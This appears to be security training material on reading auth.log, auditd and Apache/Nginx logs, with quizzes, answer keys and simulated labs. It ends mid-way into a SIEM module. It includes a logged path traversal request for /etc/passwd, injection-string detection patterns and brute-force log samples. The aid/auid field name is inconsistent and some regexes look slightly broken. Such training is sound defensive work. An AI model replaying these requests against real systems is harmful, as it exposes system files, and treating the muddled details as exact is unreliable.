Answers: 1-A 2-A 3-A 4-A

- 1. auth.log is the Debian-family authentication log.
- 2. last reads /var/log/wtmp.
- 3. zgrep searches gzip files directly.
- 4. A remote copy exposes tampering.

auth.log and SSH activity

SSH is the main remote door to Linux, and its log lines reveal guessing, successful access and privilege escalation.

Reading sshd entries

The sshd service logs each attempt. Failed password for root from 203.0.113.9 port 40122 ssh2 is a failed login for an existing account. Failed password for invalid user admin means the user does not exist on the system. Accepted password for deploy from 192.0.2.50 port 51022 ssh2 is a success, and Accepted publickey shows key authentication with the key fingerprint. Other messages include Connection closed by authenticating user, Disconnected from invalid user, and Did not receive identification string, which often indicates a scanner. The process ID in brackets ties together lines from one connection.

Patterns that indicate attack

A brute force attack shows many Failed password lines from one address in a short time. Distributed attacks spread attempts across many addresses, so group by target account as well. Invalid user lines for common names such as admin, test, oracle and ubuntu suggest a dictionary attack. The key sequence to find is failures followed by an Accepted line from the same source, which means a guess succeeded. Also look for logins by accounts that never log in remotely, logins from new countries and logins at unusual times.

sudo and su activity

After access, attackers escalate privileges. The sudo command logs lines such as sudo: deploy : TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash, showing who ran what as which user. Failed attempts appear as 3 incorrect password attempts. The su command logs session opened for user root by deploy. Also look at useradd, usermod and passwd entries, and pam_unix session opened and closed lines to measure session duration. Use these to answer: after the login, what did the account do, and did it become root?

Hardening and response

Defensive measures include disabling password authentication and using keys, setting PermitRootLogin no, limiting which users may log in with AllowUsers, restricting access to trusted ranges with a firewall, and deploying fail2ban to ban addresses after repeated failures. Multi-factor authentication for SSH through PAM is another layer. During response, record the attacker address, identify the compromised account, check authorized_keys files for added keys, check new cron jobs and review shell history. Rotate credentials and keys after cleaning up.

AUTH.LOG EXCERPT

```
Mar 14 09:21:07 web01 sshd[812]: Failed password for invalid user admin from 203.0.113.9 port 40122 ssh2
Mar 14 09:21:12 web01 sshd[815]: Failed password for root from 203.0.113.9 port 40130 ssh2
Mar 14 09:24:41 web01 sshd[901]: Accepted password for deploy from 203.0.113.9 port 40288 ssh2
Mar 14 09:25:03 web01 sudo: deploy : USER=root ; COMMAND=/bin/bash
```

WORKED EXAMPLE

The log shows many failed attempts from 203.0.113.9, then an Accepted password line for deploy from the same address, then a sudo to a root shell 22 seconds later. The analyst treats this as a compromised account. Actions: block the source, disable deploy, review authorized_keys and cron, check for new users, and look for outbound connections made after 09:25.

KEY TERMS

Accepted password: sshd line showing a successful password login.

Invalid user: A login attempt for an account that does not exist.

sudo: Command that runs another command with elevated privileges and logs it.

fail2ban: A tool that bans sources after repeated failures.

authorized_keys: File listing public keys allowed to log in as a user.

REMEMBER

- Read Failed, Invalid user and Accepted lines.
- Failures then success from one source means compromise.
- Check sudo, authorized_keys and new users after access.

QUICK CHECK

1. What does Failed password for invalid user admin tell you?

- A) The user admin does not exist
- B) The password was correct
- C) SSH is disabled
- D) The server is patched

2. Which sequence is most alarming?

- A) Many failures then Accepted from the same IP
- B) One failure from the admin console
- C) A session closed
- D) A key accepted from a known IP

3. Where do you check for added attacker SSH keys?

- A) authorized_keys
- B) /etc/hostname
- C) /var/log/dpkg.log
- D) /proc/cpuinfo

4. What does fail2ban do?

- A) Bans addresses after repeated failures
- B) Encrypts logs
- C) Patches the kernel
- D) Restores backups

Answers: 1-A 2-A 3-A 4-A

- 1. Invalid user means no such account.
- 2. Failures followed by success indicate a successful guess.
- 3. Attackers add public keys for persistence.
- 4. It reads logs and blocks abusive sources.

auditd rules and records

Auditd records kernel-level facts such as which user ran which executable, which file was changed and by which system call.

What auditd is

The Linux Audit framework has a kernel component and the auditd daemon, which writes records to `/var/log/audit/audit.log`. It is configured through rules loaded by `auditctl` or files in `/etc/audit/rules.d`, compiled by `augenrules`. Unlike `syslog`, `auditd` observes system calls directly, so it can record actions such as opening files or executing programs regardless of what the application chose to log. Compliance standards often require it. Its drawback is volume, so rules should be targeted at sensitive files, commands and system calls.

Record types

A single action produces several records sharing one event ID in `msg=audit(timestamp:ID)`. `SYSCALL` gives the system call, `arch`, `success`, `exit code`, `ppid`, `pid`, `aid` (the original login user ID, which persists across `su` and `sudo`), `uid`, `comm` and `exe`. `EXECVE` gives the program arguments. `PATH` gives the file names and inode involved. `CWD` shows the working directory, and `PROCTITLE` the process title in hexadecimal. Remember `aid` versus `uid`: `uid` may be `root` after `sudo`, but `aid` shows who originally logged in, which identifies the responsible person.

Writing watch rules

File watches use `auditctl -w path -p permissions -k key`. The permissions are `r` read, `w` write, `x` execute and `a` attribute change. For example `auditctl -w /etc/passwd -p wa -k identity` logs writes and attribute changes to `/etc/passwd` with the key `identity`. Other typical watches cover `/etc/shadow`, `/etc/sudoers`, `/etc/ssh/sshd_config` and `cron` directories. System call rules such as `auditctl -a always,exit -F arch=b64 -S execve -k exec` capture program execution. Keys make searching easy using `ausearch -k identity`. Rules loaded with `auditctl` vanish at reboot unless saved in `rules.d`.

Searching and interpreting

Use `ausearch` to filter records, for example `ausearch -k identity -i`, where `-i` interprets numeric IDs into names. Use `aureport` for summaries, such as `aureport -au` for authentication or `aureport -x` for executables. Always read all records with the same event ID together. A write to `/etc/passwd` might show `SYSCALL` with `exe=/usr/sbin/useradd` and `aid=1001`, telling you that user 1001 ran `useradd`. Convert timestamps with `ausearch -i` or `date -d @epoch`. Pair `auditd` with `auth.log` to tie the user session to the action.

AUDIT.LOG EXCERPT

```
type=SYSCALL msg=audit(1741944301.112:5021): arch=c000003e syscall=257 success=yes exit=3 ppid=1190
pid=1204 aid=1001 uid=0 comm="vim" exe="/usr/bin/vim.basic" key="identity"
type=CWD msg=audit(1741944301.112:5021): cwd="/home/deploy"
type=PATH msg=audit(1741944301.112:5021): item=0 name="/etc/passwd" nametype=NORMAL
```

WORKED EXAMPLE

An alert for the rule `key identity` shows a write to `/etc/passwd`. Reading the three records with event ID 5021: the file is `/etc/passwd`, the executable is `vim.basic`, `uid` is 0 (`root`) but `aid` is 1001. Looking up 1001 gives `deploy`. So user `deploy` used `sudo` to edit the file with `vim`. The analyst checks whether a change ticket exists and diffs the file for added accounts.

KEY TERMS

auditd: The Linux audit daemon that records kernel audit events.
aid: Audit user ID: the original login user, preserved across `sudo` and `su`.
auditctl -w: Command that adds a file watch rule.
ausearch: Tool to search audit records by key, user, time or event.
Audit key: A label (`-k`) attached to rules to make searching easy.

REMEMBER

- `auditd` captures syscalls and file watches.
- Use `aid` to find the real user behind `root`.
- Use keys with `ausearch` and `aureport`.

QUICK CHECK

1. Which field identifies the original logged-in user across sudo?
 - A) auid
 - B) uid
 - C) pid
 - D) ppid
2. What does auditctl -w /etc/passwd -p wa -k identity do?
 - A) Watches writes and attribute changes to the file
 - B) Deletes the file
 - C) Blocks logins
 - D) Encrypts passwd
3. Which record type holds the program arguments?
 - A) EXECVE
 - B) PATH
 - C) CWD
 - D) USER_LOGIN
4. Why read all records with the same event ID together?
 - A) One action creates several related records
 - B) They are encrypted
 - C) They are identical
 - D) Only the first matters

Answers: 1-A 2-A 3-A 4-A

1. auid persists even after privilege changes.
2. -w sets the path, -p wa the permissions and -k the key.
3. EXECVE shows the command arguments.
4. SYSCALL, PATH and CWD together describe one action.

Web access logs: Apache and Nginx

Web logs record every request, which makes them the main record of scanning, exploitation attempts and abuse.

The combined log format

Apache and Nginx commonly write the combined format: client IP, identity, user, time, request line, status, bytes, referrer and user agent. Example: 203.0.113.9 - - [14/Mar/2025:09:30:01 +0000] "GET /index.php?id=5 HTTP/1.1" 200 1532 "-" "Mozilla/5.0". Default locations are /var/log/apache2/access.log and error.log or /var/log/nginx/access.log and error.log. The time includes an offset. Custom formats may add response time or the X-Forwarded-For header, which matters behind a proxy or load balancer, where the logged client address may otherwise be the proxy.

Status codes

Status codes summarize the response. 2xx is success: 200 OK, 206 partial. 3xx are redirects: 301, 302, 304 not modified. 4xx are client errors: 400 bad request, 401 unauthorized, 403 forbidden, 404 not found, 405 method not allowed. 5xx are server errors such as 500 and 503. A burst of 404 from one address suggests content discovery. Repeated 401 or 403 against a login or admin path suggests guessing. A 200 for an attack-looking request deserves careful review, and a 500 may indicate that an injection reached the application and caused an error.

User agents, referrers and methods

The user agent identifies the client software, but it is attacker-controlled. Defaults from tools such as sqlmap, Nikto, Nmap Scripting Engine, curl and python-requests are easy clues, while scripts that fake browsers need behavior analysis instead. Referrers show where a visit came from. Methods matter: POST to unusual endpoints, PUT or DELETE where they are not used, and CONNECT or TRACE can signal probing. Query strings reveal parameters, but POST bodies are not logged by default, so a successful exploit through a POST may appear as only a small line.

Limits and enrichment

Access logs show what was asked and how the server answered, but not what the application did internally, nor the response content. Response size can help: a successful file read often returns a size that differs from normal error pages. Combine with the error log, application logs, WAF logs and file integrity data. Enrich addresses with reputation and geolocation, and remember that CDNs and proxies hide the real client unless forwarded headers are logged. Always convert times to UTC and check log rotation, because busy sites can rotate in hours.

ACCESS LOG EXCERPT

```
203.0.113.9 - - [14/Mar/2025:09:30:01 +0000] "GET /admin HTTP/1.1" 404 196 "-" "Nikto/2.5"
203.0.113.9 - - [14/Mar/2025:09:30:02 +0000] "GET /backup.zip HTTP/1.1" 404 196 "-" "Nikto/2.5"
198.51.100.4 - - [14/Mar/2025:09:31:10 +0000] "POST /login HTTP/1.1" 401 310 "-" "python-requests/2.31"
```

WORKED EXAMPLE

A site shows 600 requests in one minute from 203.0.113.9 with a Nikto user agent, nearly all 404 with a size of 196 bytes. Two requests returned 200: /server-status and /phpinfo.php. The analyst notes the scanner, lists probed paths, restricts the two exposed pages, blocks the address and checks error logs for anything unusual. No upload or shell paths returned 200, so there is no sign of compromise.

KEY TERMS

Combined log format: Standard web log with IP, time, request, status, size, referrer and user agent.

Status code: Three digit server response outcome such as 200 or 404.

User agent: A header identifying the client software.

X-Forwarded-For: Header carrying the original client address behind a proxy.

Referrer: Header naming the page that linked to the request.

REMEMBER

- Learn the combined log fields and status classes.
- User agents are clues but spoofable.
- Access logs miss POST bodies and server internals.

QUICK CHECK

1. What does a 404 burst from one IP suggest?
 - A) Content discovery or scanning
 - B) A healthy cache
 - C) A database backup
 - D) A software update
2. What status class indicates a server error?
 - A) 5xx
 - B) 2xx
 - C) 3xx
 - D) 4xx
3. Why can the logged client IP be wrong behind a load balancer?
 - A) It shows the proxy address
 - B) Logs are encrypted
 - C) Clients change IPs
 - D) Nginx hides it by default always
4. Is the user agent reliable evidence of identity?
 - A) No, attackers can change it
 - B) Yes, always
 - C) Only for browsers
 - D) Only for 404

Answers: 1-A 2-A 3-A 4-A

1. Many not found responses indicate probing for paths.
2. 5xx codes are server-side errors.
3. Use X-Forwarded-For to see the original client.
4. It is a client-controlled string.

Spotting brute force and scanning

Simple command-line pipelines can turn thousands of log lines into a clear list of attackers and targets.

Counting and ranking

The core pipeline is extract, sort, count and rank. To list the top client IPs: `awk '{print $1}' access.log | sort | uniq -c | sort -rn | head`. To count status codes: `awk '{print $9}' access.log | sort | uniq -c`. To see which paths one address requested: `grep '^203.0.113.9 ' access.log | awk '{print $7}' | sort | uniq -c | sort -rn`. Always sort before `uniq -c`, because `uniq` only collapses adjacent duplicates. These pipelines work on `auth.log` as well, using patterns for failed passwords.

Credential stuffing and brute force

Login attacks appear as repeated requests to the same login URL, usually POST, with 401 or 403, or 200 for a login page that re-displays on failure, so also compare response sizes. Credential stuffing uses stolen username and password pairs, so it often spreads over many accounts and many addresses with few attempts per account. Detect by counting failures per IP, per username and per time window. A successful sign-in following many failures is the key signal, and a sudden rise in 200 responses of a different size on the login URL may be the successful ones.

Directory enumeration and injection patterns

Directory enumeration tools request many paths from wordlists, producing a run of 404 responses and occasional 200 or 301 for found content. Injection attempts appear in query strings: SQL injection traces such as UNION SELECT, ' OR 1=1, sleep(and information_schema; path traversal such as ../ or %2e%2e%2f; and command injection characters like ; and |. Search case-insensitively and include URL-encoded forms, such as `grep -iE 'union(%20|\\+| )select|\\.\\.\\./'`. Not every match is an attack, but a 200 with an unusual response size makes it worth reading.

Prevention and next steps

For each finding, decide the action. Block or rate-limit abusive addresses at a firewall, WAF or fail2ban, add login protections such as lockout, CAPTCHA, MFA and rate limiting, and remove exposed paths like backups and phpinfo. Check application and database logs for evidence that an injection succeeded, and review the web root for new or modified files with `find -mtime`. Document the attacker addresses, user agents, paths, time range and response codes so that the evidence can be reused to create detection rules and to brief the application owner.

TERMINAL OUTPUT

```
$ awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -3
612 203.0.113.9
 48 198.51.100.4
 12 192.0.2.77
$ grep -iE 'union(%20|\\+| )select|\\.\\.\\./' access.log | awk '{print $1,$9,$10}'
203.0.113.9 404 196
203.0.113.9 200 5120
```

WORKED EXAMPLE

An analyst runs the top-IP pipeline and sees 612 requests from 203.0.113.9. Filtering that IP shows traversal and UNION SELECT strings. All return 404 except one request with status 200 and 5120 bytes, much larger than the usual error page. The analyst treats it as a possible successful exploit, preserves the log lines, checks the database and application logs and notifies the application owner.

KEY TERMS

uniq -c: Counts adjacent duplicate lines; usually used after sort.

Credential stuffing: Logging in with stolen username and password pairs at scale.

Directory enumeration: Requesting many paths to find hidden content.

Path traversal: Using ../ sequences to reach files outside the web root.

SQL injection: Inserting SQL syntax into input to alter a database query.

REMEMBER

- Extract, sort, count and rank with `awk`, `sort` and `uniq -c`.
- Look for 404 bursts, login failures and injection strings.

- A 200 with odd size among attack requests needs review.

QUICK CHECK

1. Why run sort before uniq -c?
 - A) uniq only counts adjacent duplicates
 - B) sort encrypts data
 - C) uniq cannot read files
 - D) It is faster to type
2. Which pattern suggests path traversal?
 - A) ../ or %2e%2e%2f
 - B) GET /index.html
 - C) status 304
 - D) favicon.ico
3. Which signal best suggests a successful injection among many 404s?
 - A) A 200 with an unusual response size
 - B) Another 404
 - C) A 301 to https
 - D) A HEAD request
4. What pattern fits credential stuffing?
 - A) Many accounts, many IPs, few attempts per account
 - B) One request from one IP
 - C) Only GET requests to images
 - D) No login requests

Answers: 1-A 2-A 3-A 4-A

1. Unsorted duplicates would not be grouped.
2. Dot-dot-slash sequences try to leave the web root.
3. Different response behavior suggests the request worked.
4. It spreads attempts to avoid lockout thresholds.

SSH brute force hunt

SCENARIO

Fictional host web01 (192.0.2.30) has an auth.log with SSH activity. You must rank source IPs of failed logins and check whether any later logged in successfully.

OBJECTIVE

Find the top failing source IP and any successful login from it.

STEPS IN THE SIMULATOR

- 1 **Do:** Type: `grep -c 'Failed password' auth.log`

Simulator shows:
214

- 2 **Do:** Type: `grep 'Failed password' auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head`

Simulator shows:
190 203.0.113.9
16 198.51.100.4
8 192.0.2.77

- 3 **Do:** Type: `grep 'Accepted' auth.log`

Simulator shows:
Mar 14 09:24:41 web01 sshd[901]: Accepted password for deploy from 203.0.113.9 port 40288 ssh2
Mar 14 08:10:02 web01 sshd[640]: Accepted publickey for admin from 192.0.2.77 port 52211 ssh2

- 4 **Do:** Type: `grep '203.0.113.9' auth.log | tail -3`

Simulator shows:
09:24:41 Accepted password for deploy
09:24:42 pam_unix(sshd:session): session opened for user deploy
09:25:03 sudo: deploy : USER=root ; COMMAND=/bin/bash

- 5 **Do:** Type: submit top IP and account

Simulator shows:
Correct: 203.0.113.9, account deploy

ANSWER

The top source is 203.0.113.9 with 190 failures. It later logged in successfully as deploy at 09:24:41 and ran sudo to a root shell at 09:25:03, so deploy is compromised.

Hint shown in the app: Match the Accepted lines against the top failing IPs.

Read auditd events

SCENARIO

An auditd key alert reports a change to /etc/passwd on fictional host db01 at 2025-03-14 10:05 UTC. You must trace the records to the responsible user and executable.

OBJECTIVE

Identify the user and executable that modified /etc/passwd.

STEPS IN THE SIMULATOR

- 1 **Do:** Search key=identity

Simulator shows:
3 records, event ID 7733

- 2 **Do:** Open the SYSCALL record

Simulator shows:
syscall=257 success=yes auid=1001 uid=0 comm="vim" exe="/usr/bin/vim.basic"

- 3 **Do:** Open the PATH record

Simulator shows:
name="/etc/passwd" nametype=NORMAL

- 4 **Do:** Open the CWD record

Simulator shows:
cwd="/home/deploy"

- 5 **Do:** Resolve auid 1001

Simulator shows:
1001 = deploy

- 6 **Do:** Submit finding

Simulator shows:
Accepted: user deploy (auid 1001) via sudo, executable /usr/bin/vim.basic

ANSWER

User deploy (auid 1001) edited /etc/passwd with /usr/bin/vim.basic while running as root (uid 0), so they used sudo. The auid field reveals the original login identity.

Hint shown in the app: Read auid, not uid, to find the person.

Web log scan detection

SCENARIO

A web access log from fictional site shop.example.com contains 3000 lines. One client appears to be scanning. You must find the 404 burst, the scanner user agent and the probed paths.

OBJECTIVE

Identify the scanner IP, tool and paths probed.

STEPS IN THE SIMULATOR

- 1 **Do:** Group by status code

Simulator shows:

200: 2100, 404: 820, 301: 60, 403: 20

- 2 **Do:** Group 404 by client IP

Simulator shows:

203.0.113.9: 790, others: 30

- 3 **Do:** Open an event from 203.0.113.9

Simulator shows:

UA: Nikto/2.5, 09:30:01Z

- 4 **Do:** List distinct paths for 203.0.113.9 with 200 status

Simulator shows:

/server-status, /phpinfo.php

- 5 **Do:** List sample 404 paths

Simulator shows:

/admin, /backup.zip, /.git/config, /wp-login.php

- 6 **Do:** Submit finding

Simulator shows:

Accepted: 203.0.113.9, Nikto, 790 probes, two exposed paths

ANSWER

The scanner is 203.0.113.9 using the Nikto user agent, with 790 404 responses. It found two exposed pages, /server-status and /phpinfo.php, which should be restricted.

Hint shown in the app: Group by IP before reading individual lines.

Detect web exploitation

SCENARIO

An access log from fictional app.example.com contains traversal and SQL injection attempts. Using grep you must find which single suspicious request returned a 200.

OBJECTIVE

Identify the one malicious request with status 200.

STEPS IN THE SIMULATOR

- 1 **Do:** Type: `grep -ciE 'union(%20|\\+| )select' access.log`

Simulator shows:
14

- 2 **Do:** Type: `grep -c '\\.\\.' access.log`

Simulator shows:
9

- 3 **Do:** Type: `grep -iE 'union(%20|\\+| )select|\\.\\.\\.\\.' access.log | awk '{print $9}' | sort | uniq -c`

Simulator shows:
22 404
1 200

- 4 **Do:** Type: `grep -iE 'union(%20|\\+| )select|\\.\\.\\.\\.' access.log | awk '$9==200'`

Simulator shows:
203.0.113.9 - - [14/Mar/2025:09:41:12 +0000] "GET /download?file=../../etc/passwd HTTP/1.1" 200 1834

- 5 **Do:** Type: submit request

Simulator shows:
Accepted: path traversal request returned 200 (1834 bytes)

ANSWER

The one successful malicious request is GET /download?file=../../etc/passwd from 203.0.113.9 returning 200 with 1834 bytes, meaning /etc/passwd was likely disclosed. The other 22 attempts returned 404.

Hint shown in the app: Filter the matches by status column 9.

Linux and Web Server Logs: 10 questions, 80% to pass

1. Which command queries the systemd journal?
 - A) journalctl
 - B) logrotate
 - C) last
 - D) dmesg only
2. Which file lists failed login attempts in binary form?
 - A) /var/log/btmp
 - B) /etc/hosts
 - C) /var/log/dpkg.log
 - D) /proc/loadavg
3. Which log line indicates a user that does not exist?
 - A) Failed password for invalid user admin
 - B) Accepted publickey
 - C) session closed
 - D) Server listening
4. What does auid represent in audit records?
 - A) Original login user ID
 - B) Process ID
 - C) Parent ID
 - D) Group ID
5. What does auditctl -w /etc/shadow -p wa do?
 - A) Watches writes and attribute changes
 - B) Reads the file
 - C) Backs up the file
 - D) Locks the file
6. In the combined log format, which field is the status code?
 - A) Field after the request line
 - B) The first field
 - C) The user agent
 - D) The referrer
7. A burst of 404 responses from one IP most likely means:
 - A) Content discovery scanning
 - B) Successful backups
 - C) Cache warming
 - D) DNS failure
8. Why use sort before uniq -c?
 - A) uniq counts only adjacent duplicates
 - B) sort speeds disks
 - C) uniq needs root
 - D) It is optional always
9. Which string suggests path traversal in a URL?
 - A) ../
 - B) /images/
 - C) ?page=2
 - D) #top
10. Which request deserves most attention among injection attempts?
 - A) The one returning 200 with an unusual size
 - B) Those returning 404
 - C) Those blocked by WAF with 403
 - D) HEAD requests to the home page

Answers: 1-A 2-A 3-A 4-A 5-A 6-A 7-A 8-A 9-A 10-A

1. journalctl reads the journal.
2. btmp holds failed logins, read with lastb.
3. Invalid user means no such account.
4. auid survives sudo and su.
5. -w adds a watch with write and attribute permissions.
6. The status follows the quoted request line.
7. Many not found responses indicate path guessing.
8. Grouping requires adjacency.
9. Dot-dot-slash tries to escape the web root.
10. Success indicators matter most.

SIEM Fundamentals

Intermediate | 8 lessons | 6 simulated labs | checkpoint | about 6h 30m

A SIEM turns scattered logs into searchable evidence and automated alerts. This module follows data from collection to alert: SIEM architecture and storage tiers, ingestion and normalization, then hands-on search in Splunk SPL and Microsoft KQL, including aggregation, joins and time handling. You then build dashboards, write threshold, sequence and anomaly rules, and tune out false positives while keeping true detections. These are daily skills for analysts and detection engineers.

BY THE END YOU CAN

- + Explain SIEM data flow from collection to alert
- + Write basic SPL and KQL searches with filters, stats and time ranges
- + Build dashboards and tune noisy detection rules

IN THIS MODULE

Lesson 1 SIEM architecture and data flow

Lesson 2 Ingestion, parsing and normalization

Lesson 3 Search basics in SPL

Lesson 4 Aggregation in SPL and KQL

Lesson 5 KQL fundamentals

Lesson 6 Dashboards and visualizations

Lesson 7 Alert rules and correlation

Lesson 8 Tuning false positives

Lab 1 Search failed logons in SPL (Mock SIEM)

Lab 2 Translate SPL to KQL (Code editor)

Lab 3 Fix the broken parser (Config editor)

Lab 4 Build a detection dashboard (Diagram builder)

Lab 5 Create a threshold alert (Mock SIEM)

Lab 6 Tune a noisy rule (Mock SIEM)

Checkpoint 10 questions, 80% to pass

SIEM architecture and data flow

Understanding the pipeline helps you find where an event was lost, delayed or mangled before blaming the detection.

Components in order

Data starts at sources such as servers, firewalls and cloud services. Collectors or forwarders gather it: agents such as the Splunk Universal Forwarder, Elastic Agent or Winlogbeat, syslog receivers, and API pulls for cloud and SaaS. Data may pass through an intermediate layer, for example heavy forwarders, Logstash or a message queue like Kafka, which parse, filter and buffer. Indexers or data nodes parse, store and index events. A search head or console lets analysts query, build dashboards and run scheduled searches. A correlation engine evaluates detection rules and raises alerts that flow to a case system or SOAR.

Storage tiers and retention

Log volume is large, so SIEMs tier storage. Hot storage is fast and recent, often 7 to 30 days, and is searched constantly. Warm is slightly older and still online. Cold uses cheaper, slower storage for older data, and frozen or archive tiers keep data for compliance, sometimes in object storage that must be restored before searching. Retention decisions balance cost, investigation needs and regulation: many teams keep 90 days searchable and a year or more archived, since intrusions are often found long after they start. Knowing the tier affects how quickly an old search will run.

Latency, volume and licensing

Every stage adds delay. Events may arrive seconds or minutes after they occur, so a rule that looks at the last five minutes may miss late events, and time-based searches should use event time with some lag allowance. Volume affects licensing: Splunk licenses often count gigabytes ingested per day, while Sentinel charges by data ingested and retained. Filtering noisy low-value data at the edge reduces cost, but dropping a log that an investigation later needs creates a gap. Prioritize authentication, endpoint, network boundary, DNS, proxy, email and cloud audit sources.

Health and availability

A SIEM is only as good as its data. Monitor ingestion health: events per second per source, last event time, parsing failures, queue depth and license use. Alert when a critical source goes silent, because silence can mean an outage or an attacker disabling logging. Plan for redundancy with clustered indexers and buffering on forwarders, so short outages do not lose data. Document each source's owner, format, retention and detection coverage in a data source inventory so analysts know what they can and cannot search.

PIPELINE

```
Source -> Forwarder/Agent -> (Queue/Parser) -> Indexer/Data store
      -> Search head / Console -> Correlation rules -> Alert -> Case / SOAR

Storage: hot (7-30d) -> warm -> cold -> frozen/archive
```

WORKED EXAMPLE

At 14:00 an analyst finds no firewall events since 12:40 for an expected busy source. The pipeline check shows the syslog receiver queue full and the forwarder buffering. Engineering expands the queue and events arrive in a burst at 14:20. The analyst notes that detections between 12:40 and 14:20 ran on incomplete data, so a manual search for that window is scheduled to confirm no alerts were missed.

KEY TERMS

Forwarder: An agent or service that sends log data to the SIEM.

Indexer: A component that parses, stores and indexes events.

Search head: The interface and engine used to query and visualize data.

Hot/warm/cold: Storage tiers ordered from fast and recent to slow and old.

Retention: How long data is kept and searchable.

REMEMBER

- Data flows source, collector, indexer, search, correlation, alert.
- Tier storage by age and monitor retention.

- Monitor ingestion health and silent sources.

QUICK CHECK

1. Which component runs analyst queries and dashboards?

- A) Search head
- B) Forwarder
- C) Syslog source
- D) Load balancer only

2. What is hot storage for?

- A) Recent, frequently searched data
- B) Archived compliance data
- C) Backups only
- D) Deleted data

3. Why alert when a log source goes silent?

- A) It may be an outage or tampering
- B) Silence is always normal
- C) It lowers license cost
- D) It speeds up searches

4. Late-arriving events can cause which problem?

- A) Rules over short windows miss them
- B) Higher precision
- C) Smaller logs
- D) Faster indexing

Answers: 1-A 2-A 3-A 4-A

1. The search head provides the query interface.
2. Hot tiers hold recent, fast-access data.
3. A missing source creates a blind spot.
4. Latency means a recent-window rule may run before the data arrives.

Ingestion, parsing and normalization

The way data is brought in and mapped decides whether searches and rules work across all sources.

Agents versus agentless

Agent-based collection installs software on each host, giving rich data, buffering when offline, filtering, and sometimes encryption and compression. It adds an agent to manage and patch. Agentless methods include syslog sent to a collector, Windows Event Forwarding, API polling for cloud services, and network taps. Agentless is easier to deploy for appliances where agents cannot run, but offers less control and may lose data on UDP. Many environments use both: agents on servers and endpoints, syslog from network devices and APIs for cloud and SaaS sources.

Syslog, API and file ingestion

Syslog ingestion needs a listener on UDP or TCP 514, or TLS 6514, with firewall rules allowing only known senders. API ingestion polls cloud services such as Microsoft 365, AWS CloudTrail through S3 and SQS, or an identity provider, and is subject to rate limits and token expiry that can silently stop collection. File monitoring tails log files, tracking the read position so that rotation does not cause missed or duplicated lines. Each method needs a defined sourcetype or table so the correct parsing rules apply to the data.

Schemas: CIM and ECS

Normalization maps source-specific fields to a common model. Splunk's Common Information Model (CIM) defines data models such as Authentication, Network Traffic and Endpoint with standard field names like src, dest, user and action. Elastic Common Schema (ECS) uses names such as source.ip, user.name and event.action. Microsoft Sentinel uses ASIM parsers. With normalization, a single search for failed authentication works across Windows, Linux and VPN logs. Without it, each source needs its own query, which is slow and error prone, and detections are brittle.

Verifying ingestion

After onboarding a source, check: events arrive with the right timestamp and time zone, fields are extracted, the sourcetype is correct, and normalization maps the key fields. Compare event counts against the source, and spot-check raw and parsed values. Watch for timestamp errors, which place events in the wrong time, and for truncated events. Document the onboarding, and add a health detection to alert if the source stops or the parse rate drops. A well-ingested source is trusted by analysts, while an unreliable one is ignored or misread.

CONFIG SKETCH (PROPS.CONF STYLE)

```
[linux_auth]
TIME_FORMAT = %b %d %H:%M:%S
SHOULD_LINEMERGE = false
EXTRACT-failed = Failed password for (?:invalid user )?(?<user>\S+) from (?<src>\S+) port
FIELDALIAS-ip = src AS src_ip
```

WORKED EXAMPLE

A new VPN appliance sends syslog over UDP. The analyst checks the first hour: events arrive but the time is eight hours off because the device reports local time without a zone. Fields user and src_ip are empty because the vendor changed the format. The engineer sets the time zone for the sourcetype, fixes the extraction, switches to TCP and adds a health alert for no VPN events for 15 minutes.

KEY TERMS

Agent: Software on a host that collects and forwards logs.
Agentless: Collection without a host agent, such as syslog or API polling.
CIM: Splunk's Common Information Model of standard field names.
ECS: Elastic Common Schema.
Sourcetype: A label that selects the parsing rules for incoming data.

REMEMBER

- Choose agents, syslog or APIs by source type.
- Map data to CIM, ECS or ASIM.

- Verify timestamps and fields and alert on source health.

QUICK CHECK

1. Which is an advantage of agent-based collection?
 - A) Buffering when the host is offline
 - B) No software to manage
 - C) Works on appliances always
 - D) Never loses data
2. Why normalize to CIM or ECS?
 - A) One query works across sources
 - B) It deletes raw logs
 - C) It removes the need for parsing
 - D) It increases license cost
3. Which risk is specific to API ingestion?
 - A) Expired tokens or rate limits stopping collection
 - B) Packet loss on UDP
 - C) Disk rotation
 - D) Spanning ports
4. After onboarding a source, which check matters most?
 - A) Timestamps and key fields parse correctly
 - B) Dashboard colors
 - C) The vendor logo
 - D) Retention of the manual

Answers: 1-A 2-A 3-A 4-A

1. Agents can buffer and resend after outages.
2. Standard field names make detection portable.
3. API polling can fail silently.
4. Wrong time or empty fields break searches and rules.

Search basics in SPL

SPL is the Splunk query language; a few commands answer most investigative questions.

Anatomy of a search

An SPL search begins with filters on the data set, then pipes results through commands. For example: `index=wineventlog sourcetype="WinEventLog:Security" EventCode=4625 earliest=-24h | table _time, user, src_ip`. The index and sourcetype narrow the data, `EventCode=4625` filters events, `earliest` sets the time range and `table` selects columns. Time can be set by the picker or with `earliest` and `latest` modifiers such as `-15m@m`, which snaps to the minute. Put the most selective filters first to make the search fast, and always specify an index to avoid scanning everything.

Filters and wildcards

Field filters use equals and wildcards: `user="admin*"`, `src_ip=203.0.113.*`. Boolean operators AND, OR and NOT must be uppercase. The search command filters later in the pipeline, and `where` uses expressions, such as `where bytes_out > 1000000`. Quoting matters for values with spaces. Searching for a bare word without a field looks through the raw text, which is slower. Use the `fields` command to keep only needed fields, and `rename` to give friendly names. Learn the field names for your data, which you can inspect in the sidebar or with `| fieldsummary`.

Shaping results

Useful commands include `table` to show columns, `sort - count` to sort descending, `head 10` to limit results, `dedup user` to keep the first event per user, `eval` to create fields such as `eval hour=strftime(_time,"%H")`, `rex` to extract with regex, and `lookup` to enrich using a table. For example: `... | rex field=_raw "from (?<ip>\d+\.\d+\.\d+\.\d+)" | table _time, ip`. Use the Splunk time range for efficiency rather than filtering `_time` in the pipeline. Save a useful search as a report or alert so that others can reuse it.

Habits for reliable searches

Check the data first: run a broad search for a minute to see fields and values, then refine. Verify that the result count is plausible, as a mistake in quotes or field names can silently return zero or too many events. Use the job inspector when a search is slow. Comment complex pipelines with triple backtick comments in newer versions, and document intent. Beware of timezone display, since the interface shows the user's time zone while `_time` is stored in UTC epoch. Searching over all time is costly and should be avoided in a production SIEM.

SPL SEARCH

```
index=wineventlog EventCode=4625 earliest=-24h
| stats count by user
| sort - count
| head 10

# fields: user, count
```

WORKED EXAMPLE

